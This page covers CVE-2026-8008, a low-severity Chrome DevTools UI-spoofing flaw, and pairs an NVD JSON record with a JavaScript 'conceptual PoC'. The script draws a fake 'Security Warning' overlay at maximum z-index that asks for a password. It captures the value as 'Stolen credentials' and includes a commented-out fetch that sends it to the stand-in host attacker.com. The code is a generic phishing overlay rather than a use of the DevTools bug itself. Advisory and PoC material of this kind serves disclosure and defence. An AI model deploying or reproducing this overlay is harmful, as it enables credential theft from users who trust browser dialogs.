CVE-2026-8008

// Conceptual PoC for UI Spoofing via Chrome Extension // This script demonstrates how a malicious extension might overlay a fake UI. // 1. Create a fake security dialog element function createFakeDialog() { const fakeDialog = document.createElement('div'); // Style the dialog to look like a legitimate browser alert fakeDialog.style.position = 'fixed'; fakeDialog.style.top = '10%'; fakeDialog.style.left = '35%'; fakeDialog.style.width = '300px'; fakeDialog.style.padding = '20px'; fakeDialog.style.backgroundColor = '#fff'; fakeDialog.style.border = '1px solid #ccc'; fakeDialog.style.boxShadow = '0 4px 6px rgba(0,0,0,0.1)'; fakeDialog.style.zIndex = '2147483647'; // Max z-index to stay on top fakeDialog.style.fontFamily = 'Arial, sans-serif'; fakeDialog.innerHTML = ` <div style="font-weight:bold; margin-bottom:10px;">Security Warning</div> <div style="font-size:12px; margin-bottom:15px;">Your session has expired. Please re-enter your credentials.</div> <input type="password" placeholder="Password" style="width:100%; margin-bottom:10px;" /> <button id="stealBtn" style="width:100%; padding:5px;">Login</button> `; document.body.appendChild(fakeDialog); // 2. Capture input when user interacts document.getElementById('stealBtn').addEventListener('click', () => { const password = fakeDialog.querySelector('input').value; console.log('Stolen credentials:', password); // Send data to attacker's server // fetch('https://attacker.com/log', { method: 'POST', body: password }); fakeDialog.remove(); }); } // Trigger the PoC // In a real exploit, this might be tied to specific DevTools events or URL matches createFakeDialog();

{"cve": {"id": "CVE-2026-8008", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:51.773", "lastModified": "2026-05-07T15:17:23.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in DevTools in Google Chrome prior to 148.0.7778.96 allowed an attacker who convinced a user to install a malicious extension to perform UI spoofing via a crafted Chrome Extension. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/496426191", "source": "[email protected]", "tags": ["Permissions Required"]}]}}